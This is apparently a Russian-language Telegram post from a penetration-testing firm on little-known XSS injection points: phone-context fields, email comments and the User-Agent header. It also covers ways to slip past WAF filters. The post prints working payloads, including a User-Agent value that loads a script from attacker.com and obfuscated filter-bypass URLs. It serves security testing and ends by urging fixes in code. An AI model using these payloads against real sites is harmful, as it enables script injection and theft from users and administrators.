Межсайтовый скриптинг (XSS) остается распространённой уязвимостью, несмотря на современные средства защиты веб-приложений. В этом посте мы покажем нетипичные техники и способы обхода, которые позволяют выявлять XSS в самых неочевидных местах.
📲 Служебные поля почты и телефона
Малоизвестный способ внедрить XSS — через служебные поля в номерах телефонов и адресах электронной почты. Эти возможности прописаны в технических стандартах: для телефонов это поле phone-context
(RFC5341), для email — комментарии в самом адресе
(RFC2822 и RFC822).
Например, в номер телефона можно добавить такой код:
79999999999;phone-context=<script>alert()</script>
Если система некорректно обрабатывает такие поля, вредоносный код может быть выполнен. Разработчики редко проверяют эти места, поэтому XSS легко пропустить при тестировании.
Для внедрения в комментарии к почте можно использовать такие полезные нагрузки:
email="><script>alert()</script>"@example.com // инъекция через комментарий
email=user+(alert())@example.com
email=user@example(alert()).com
Большинство веб-приложений работают на фреймворках, которые поддерживают стандарты RFC. Поэтому велика вероятность, что приложение обработает служебные поля телефона и почты, как описано выше. Но если разработчик не очистит эти скрытые параметры от потенциально опасных символов, злоумышленник сможет внедрить код.
Еще одно из редко проверяемых мест для инъекции — это значения заголовков. В частности, User-Agent. Значение этого заголовка позволяет находить слепые XSS, потому что оно может сохраняться в логах панелей аналитики или административных интерфейсов. Если там не настроена очистка данных, код может выполниться при просмотре логов администратором:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0"><script/src=//attacker.com></script>
💻 Обходы защиты
WAF (Web Application Firewall) часто применяется как основной метод предотвращения XSS, но полагаться только на этот способ защиты крайне не рекомендуется, так как одна слабость в регулярном выражении (regex) может привести к полному обходу защиты.
В одном из таких случаев наш специалист обошел защиту с удалением необходимых тэгов через такую полезную нагрузку:
https://vulnerable.example.com/?param=%3Csscriptcript%3Ealert(12345)%3C!--
Типичные способы внедрения не подходили. Обойти защиту было возможно только понимая её логику: тэг
"script" удалялся, а закрывающий тэг блокировался приложением, поэтому для обхода достаточно было спрятать еще один тэг, разбив его на 2 и добавив комментарий в конце строки.
Еще один случай обхода стал возможен благодаря комбинации символов
"[]()!+":
https://vulnerable.example.com/?param=%3Csvg%20onload=[][(!+...[]]])%3E
Здесь используется метод обфускации JavaScript кода который позволяет обойти ограничения связанные с определенными символами, что и произошло в этом случае.
Технические специалисты
METASCAN часто проверяют системы, где WAF используется как основное средство защиты, и доказывают его уязвимость с помощью практических эксплойтов. Вывод один: уязвимости необходимо устранять на уровне кода, а не надеяться на правила WAF.
#Metascan #pentest #redteam #Metascan_news
Обсуждение 0
Обсуждение не доступно в веб-версии. Чтобы написать комментарий, перейдите в приложение Telegram.
Обсудить в Telegram